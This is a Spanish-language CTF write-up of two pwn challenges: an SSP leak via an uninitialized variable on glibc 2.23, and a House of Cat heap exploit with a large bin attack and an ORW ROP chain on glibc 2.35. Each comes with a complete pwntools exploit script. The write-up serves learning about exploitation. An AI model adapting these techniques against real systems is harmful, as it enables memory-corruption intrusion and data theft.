Análisis de Filtración SSP y Variables No Inicializadas en glibc 2.23
En este escenario, nos enfrentamos a un binario compilado con glibc 2.23 que presenta dos vulnerabilidades críticas: una filtración de Stack Smashing Protector (SSP) y el uso de una variable no inicializada. El programa implementa un menú con múltiples opciones, algunas de las cuales actúan como señuelos para dificultar el análisis.
Flujo del Programa y Opciones del Menú
- Opción 1: Actúa como un mecanismo de defensa. Cierra el flujo de error estándar (stderr), lo que impide la técnica tradicional de SSP leak.
- Opción 2: Contiene la vulnerabilidad de variable no inicializada.
- Opción 3: Aprovecha el estado de la variable no inicializada para lograr la apertura del archivo que contiene la bandera (flag).
- Opción 4: Lee el contenido del archivo abierto y lo almacena en el segmento BSS.
- Opción 5: Permite desbordar un búfer para sobrescribir el nombre del programa (argv[0]) y forzar la comprobación del canary, desencadenando así la filtración SSP.
Estrategia de Explotación
El ataque se ejecuta de forma secuencial. Primero, se invoca la opción 2 para preparar el estado de la memoria. Luego, se utiliza la opción 3 para abrir el archivo objetivo, seguida de la opción 4 para cargar su contenido en una región de memoria controlada (BSS). Finalmente, la opción 5 se emplea para corromper la pila, sobrescribir la referencia a argv[0] con una dirección conocida y provocar la terminación anormal que imprime el canary y las direcciones de la pila a través de __stack_chk_fail.
Script de Explotación Refactorizado
from pwn import *
# Configuración del entorno de ejecución
context.binary = './target_binary'
io_proc = process('./target_binary')
def interact_menu(option):
io_proc.sendlineafter(b"your choice : \n", str(option).encode())
# Fase 1: Preparación mediante variable no inicializada
interact_menu(2)
io_proc.sendlineafter(b"overflow\n", b"24559")
init_payload = b'XX' + b'flag\x00' * 0x1300
io_proc.recvuntil(b"useful\n")
io_proc.sendline(init_payload)
io_proc.sendafter(b"Really?\n", b'n')
# Fase 2: Apertura del archivo objetivo
io_proc.recvuntil(b'your choice :')
interact_menu(3)
io_proc.sendlineafter(b"level:", b"1")
io_proc.sendlineafter(b"mode:", b"1")
io_proc.sendlineafter(b"X:", b"1")
io_proc.sendlineafter(b"string: ", b'A' * 0x10)
io_proc.sendlineafter(b"filename\n", b'output.txt')
io_proc.sendlineafter(b"no\n", b"2")
# Fase 3: Lectura de datos al segmento BSS
interact_menu(4)
bss_payload = b'>:`!!>@g*>~3'
io_proc.sendlineafter(b'info>>\n', bss_payload)
# Fase 4: Corrupción de pila y SSP Leak
interact_menu(5)
ssp_overflow = b'B' * 0x118 + p64(0x602121)
io_proc.sendlineafter(b"return address\n", ssp_overflow)
io_proc.interactive()
Manipulación Avanzada del Heap: House of Cat en glibc 2.35
Este segundo caso de estudio se centra en un binario protegido con glibc 2.35 y un perfil de seccomp que bloquea la llamada al sistema execve, obligando al atacante a utilizar una cadena de gadgets Open-Read-Write (ORW). Las funcionalidades disponibles son asignación (add), liberación (delete) y edición (edit).
Identificación de Vulnerabilidades
La función de liberación no limpia adecuadamente los punteros, resultando en una vulnerabilidad de Use-After-Free (UAF). Por otro lado, la función de edición ofrece dos modos:
- Modo 1: Presenta un desbordamiento de matriz que permite modificar los dos bytes menos significativos de
io_read_endyio_write_basea cero, facilitando una filtración de direccoines a través de la estructura_IO_FILE. Este modo tiene un límite de dos usos. - Modo 2: Edición estándar con un único uso permitido.
Estrategia de Ataque y House of Cat
La técnica "House of Cat" requiere la falsificación de estructuras _IO_FILE y _IO_wide_data. El objetivo es cumplir con la condición write_ptr > write_base, restaurar el campo _lock y manipular la tabla virtual (vtable) en la estructura wide para redirigir el flujo de ejecución. Utilizamos svcudp_reply para realizar un pivot de pila (stack pivoting).
La distribución del heap se prepara asignando cuatro bloques iniciales. Posteriormente, se liberan los bloques intermedios y se reasignan para manipular los metdaatos. El UAF se utiliza para fusionar un bloque con el top chunk, mientras que otro bloque se emplea para ejecutar un Large Bin Attack y alterar el tamaño del top chunk.
Script de Explotación Refactorizado
from pwn import *
from ctypes import CDLL
import time
# Inicialización de binarios y librerías
elf_path = './heap_challenge'
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'
io_proc = process(elf_path)
def menu_select(idx):
io_proc.sendlineafter(b"Your choice: ", str(idx).encode())
def alloc_node(idx, size, data=b'flag\x00\x00\x00\x00'):
menu_select(1)
io_proc.sendlineafter(b"index: ", str(idx).encode())
io_proc.sendlineafter(b"size: ", str(size).encode())
io_proc.sendafter(b"content: ", data)
def free_node(idx):
menu_select(2)
io_proc.sendlineafter(b"index: ", str(idx).encode())
def edit_node(auth_code, mode, idx, payload):
menu_select(3)
io_proc.sendlineafter(b"identity!\n", str(auth_code).encode())
io_proc.sendlineafter(b"edit: ", str(mode).encode())
if mode == 1:
io_proc.sendlineafter(b"index: ", str(idx).encode())
io_proc.sendafter(b"content: ", payload)
elif mode == 2:
io_proc.sendlineafter(b"index: ", str(idx).encode())
io_proc.sendlineafter(b"offset: ", str(payload).encode())
# Preparación inicial y filtración de direcciones
alloc_node(0xf, 0x418, b'a')
alloc_node(0xe, 0x418, b'a')
free_node(0xf)
c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 2, 0xf, 0xaa0 + 0x20 + 1)
c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 2, 0xf, 0xaa0 + 0x20 + 1 - 0x10)
# Extracción de direcciones base
marker_1 = b'\x00'*2 + b'\x08' + b'\x00'*0x29 + b'\x01' + b'\x00'*0x1d
io_proc.recvuntil(marker_1)
heap_addr = u64(io_proc.recv(6).ljust(8, b'\x00'))
log.info(f"Heap Base: {hex(heap_addr)}")
marker_2 = b'\x01' + b'\x00'*3 + b'\xff'*3 + b'\x7f'
io_proc.recvuntil(marker_2)
libc_addr = u64(io_proc.recv(6).ljust(8, b'\x00')) - 0x1d809b
log.info(f"Libc Base: {hex(libc_addr)}")
# Cálculo de gadgets y funciones para la cadena ORW
svcudp_gadget = libc_addr + 0x16a1fa
leave_ret = libc_addr + 0x00000000000562ec
pop_rdi = libc_addr + 0x000000000002a3e5
pop_rsi = libc_addr + 0x000000000002be51
pop_rdx_r12 = libc_addr + 0x000000000011f497
sys_open = libc_addr + 0x114690
sys_read = libc_addr + 0x00000114980
sys_write = libc_addr + 0x000000114a20
add_rsp_0x40 = libc_addr + 0x00000000000ec4d0
io_proc.sendline(b'2')
io_proc.sendlineafter(b"index: ", b'14')
# Construcción de estructuras falsas _IO_FILE y _IO_wide_data
heap_offset = heap_addr + 0x290
fake_file = p64(4) * 4
fake_file += p64(0) * 3
fake_file += p64(heap_offset + 0xe0 + 0xd0 - 0x18)
fake_file += p64(0) * 7
fake_file += p64(libc_addr + 0x21ba60)
fake_file += p64(0) * 2
fake_file += p64(heap_offset + 0xe0)
fake_file += p64(0) * 6
fake_file += p64(libc_addr + 0x2160c0 + 16)
fake_wide = p64(0) * 4 + p64(1)
fake_wide += p64(0) * 19
fake_wide += p64(add_rsp_0x40)
fake_wide += p64(0xdeadbeef)
fake_wide += p64(heap_offset + 0xe0 + 0xd0 - 8)
fake_wide += p64(0)
fake_wide += p64(heap_offset + 0xe0 + 0xd0)
fake_wide += p64(svcudp_gadget)
fake_wide += p64(leave_ret)
# Cadena ORW (Open-Read-Write)
flag_path_addr = heap_offset + 0x1a8 + 0x728
orw_chain = p64(pop_rdi) + p64(flag_path_addr) + p64(pop_rsi) + p64(0) + p64(sys_open)
orw_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_offset - 0x50) + p64(pop_rdx_r12) + p64(0x50) * 2 + p64(sys_read)
orw_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_offset - 0x50) + p64(pop_rdx_r12) + p64(0x50) * 2 + p64(sys_write)
# Manipulación del Heap y Large Bin Attack
alloc_node(0, 0x440, fake_file + fake_wide + orw_chain)
alloc_node(1, 0x430)
alloc_node(2, 0x450)
alloc_node(3, 0x468)
free_node(1)
free_node(2)
alloc_node(4, 0x460, b'g' * 0x430 + p64(0) + p64(0x461))
alloc_node(5, 0x420)
free_node(2)
alloc_node(6, 0x450, b'g' * 0x20 + p64(0) + p64(0xd11))
free_node(2)
alloc_node(7, 0x460)
free_node(0)
free_node(5)
stderr_addr = libc_addr + libc.symbols['stderr']
lba_payload = p64(libc_addr + 0x1a0e0) * 2 + p64(0) + p64(stderr_addr - 0x20) + p64(0) + p64(0x301)
c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 1, 2, lba_payload)
alloc_node(8, 0x468)
io_proc.interactive()